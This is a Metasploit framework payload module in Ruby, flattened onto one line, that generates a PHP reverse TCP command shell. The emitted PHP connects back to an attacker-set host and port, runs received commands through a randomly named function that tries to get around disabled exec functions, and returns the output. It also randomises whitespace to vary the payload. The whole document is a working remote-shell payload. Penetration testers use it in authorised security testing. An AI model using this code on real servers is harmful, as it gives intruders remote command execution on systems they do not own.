## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = :dynamic include Msf::Payload::Single include Msf::Payload::Php include Msf::Sessions::CommandShellOptions def initialize(info = {}) super( merge_info( info, 'Name' => 'PHP Command Shell, Reverse TCP (via PHP)', 'Description' => 'Reverse PHP connect back shell with checks for disabled functions', 'Author' => 'egypt', 'License' => BSD_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', 'Payload' => { 'Offsets' => {}, 'Payload' => '' } ) ) end # # Issues # - Since each command is executed in a new shell, 'cd' does nothing. # Perhaps it should be special-cased to call chdir() # - Tries to get around disable_functions but makes no attempts to # circumvent safe mode. # def php_reverse_shell if !datastore['LHOST'] || datastore['LHOST'].empty? # datastore is empty on msfconsole startup ipaddr = '127.0.0.1' port = 4444 else ipaddr = datastore['LHOST'] port = datastore['LPORT'] end exec_funcname = Rex::Text.rand_text_alpha(5..14) uri = "tcp://#{ipaddr}" socket_family = 'AF_INET' if Rex::Socket.is_ipv6?(ipaddr) uri = "tcp://[#{ipaddr}]" socket_family = 'AF_INET6' end shell = <<-END_OF_PHP_CODE #{php_preamble(disabled_varname: '$dis')} $ipaddr='#{ipaddr}'; $port=#{port}; if(!function_exists('#{exec_funcname}')){ function #{exec_funcname}($c){ global $dis; #{php_system_block(cmd_varname: '$c', disabled_varname: '$dis', output_varname: '$o')} return $o; } } $nofuncs='no exec functions'; if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ $s=@fsockopen("#{uri}",$port); while($c=fread($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=#{exec_funcname}(substr($c,0,-1)); if($out===false){ fwrite($s,$nofuncs); break; } } fwrite($s,$out); } fclose($s); }else{ $s=@socket_create(#{socket_family},SOCK_STREAM,SOL_TCP); @socket_connect($s,$ipaddr,$port); @socket_write($s,"socket_create"); while($c=@socket_read($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=#{exec_funcname}(substr($c,0,-1)); if($out===false){ @socket_write($s,$nofuncs); break; } } @socket_write($s,$out,strlen($out)); } @socket_close($s); } END_OF_PHP_CODE # randomize the spaces a bit Rex::Text.randomize_space(shell) return shell end # # Constructs the payload # def generate(_opts = {}) return super + php_reverse_shell end end